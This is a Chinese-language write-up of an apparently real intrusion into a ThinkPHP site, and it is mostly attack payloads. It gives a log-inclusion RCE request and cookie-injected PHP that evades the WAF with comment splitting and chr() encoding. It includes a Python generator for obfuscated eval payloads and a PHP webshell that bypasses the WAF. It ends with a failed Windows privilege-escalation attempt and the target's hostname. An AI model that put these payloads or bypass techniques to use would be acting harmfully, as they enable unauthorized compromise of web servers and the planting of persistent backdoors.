前
拿到目标站后,看了看url,为 signup.html
,加了个 ?s=captcha
,显示验证码,判断为tp框架。
果断拿起exp测试
很好,能成功,暗自窃喜一波。
之后看看phpinfo;
被拦截了
之后测试了一下404页面。
熟悉的拦路狗。
中
猜测拦截了exp,但是很明显没有拦截包含日志的exp。
试试包含日志。
将cookie设为
<?php phpinfo();?>
结果被拦截,猜测拦截函数。
将cookie设为
<?php phpinfo/**/();?>
,绕过了。php7.2版本。之后测试一下写入
Cookie:file_put_contents/**/('./readme.txt','h3art3ars');
过滤了单引号,就知道没那么容易。
试一下不带payload的一句话
<? eval/**/(base64_decode($_POST[1]));?>
post:_method=__construct&method=get&filter[]=think\__include_file&get[]=../runtime/log/202005/22.log&1=cGhwaW5mbygpOw==
结果依旧被拦截。
测试了一下,是拦截了 $_POST[] 参数,那就继续绕过。将
_POST
参数,利用引用参数代替。在本地 php shell 里面测试
可以看到在本地linux是测试成功的。
直接放到cookie里面看看:
Cookie:<? $a=chr/**/(95).chr/**/(80).chr/**/(79).chr/**/(83).chr/**/(84);eval/**/(base64_decode/**/($/**/{$a}[1]));?>
对方系统windows,出错了。不知道是为什么。
那就只能换一个思路,直接将要执行的命令用chr函数表示。
由于一个一个chr太麻烦,索性写了个脚本
1
import base64
2
cmd = 'phpinfo()'
3
strs = base64.b64encode(cmd.encode('utf-8'))
4
strs = bytes.decode(strs)
5
a = ''
6
for c in strs:
7
a += "chr/**/(" + str(ord(c))+').'
8
a = a[0:-1]
9
a = '<? $a='+a + ';eval/**/(base64_decode/**/($a));?>'
10
print(a)
把payload复制到cookie中试试,成功。
接下来写入一句话,然而却是访问404.
猜测是狗吃了一句话,那就从上次写的
php新特性过马
文章中拿一个试试。1
<?php
2
$b="_POST";
3
$a=[${$b}['a']];
4
[$c]=$a;
5
eval($c);
6
?>
执行,测试一下。
成功。
尾
windows提权,未成功
1 | Windows NT WIN-RU4FAFHHEMH 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) AMD64 |